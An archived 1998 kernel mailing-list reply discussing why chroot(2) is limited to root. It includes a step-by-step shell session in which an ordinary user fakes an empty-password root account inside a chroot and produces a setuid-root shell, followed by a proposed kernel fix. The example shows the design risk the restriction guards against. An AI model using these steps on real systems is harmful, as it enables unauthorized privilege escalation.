Subject: Re: chroot(2)
To: Simon J. Gerraty <>
From: Andrew Brown <>
List: tech-kern
Date: 10/02/1998 18:22:41
>>So, I was thinking, "why doesn't it presently?".  The only reason I can
>>see is that if the user has (or can create) a writeable directory on
>>the same filesystem as certain set-id executables, it becomes really
>I believe the restriction was to prevent users creating their own
>/etc/passwd etc.

yeah, heh.  easy too.

if users can use chroot...then it follows that % is an ordinary user,
$ is the user in the chrooted environment, and # is the root user in
the chrooted environment...

% cd /usr/tmp
% mkdir -p bin etc usr/bin usr/sbin usr/lib usr/libexec
% cp /bin/{sh,chmod} bin
% echo "root::0:0::0:0::/:" > etc/master.passwd
% echo "PATH=/bin:/sbin:/usr/bin:/usr/sbin" > .profile
% ln ../bin/login usr/bin
% ln ../sbin/{pwd_mkdb,chown} usr/sbin
% ln ../lib/lib{,,,} usr/lib
% ln ../libexec/ usr/libexec
% chroot /usr/tmp /bin/sh
$ pwd_mkdb /etc/master.passwd
$ login -f root
# chown 0.0 /bin/sh
# chmod 4755 /bin/sh
# exit
$ exit
% ./bin/sh -c id
uid=204(andrew) euid=0(root) gid=20(staff) groups=20(staff), 0(wheel)...

it seems to me that simply disabling suid executables in chrooted
environments would work quite well against this.  something like
checking curproc->p_fd->fd_rdir <=> proc0->p_fd->fd_rdir would tell
you if it was chrooted, eh?

|-----< "CODE WARRIOR" >-----|             * "ah!  i see you have the internet (Andrew Brown)                that goes *ping*!"      * "information is power -- share the wealth."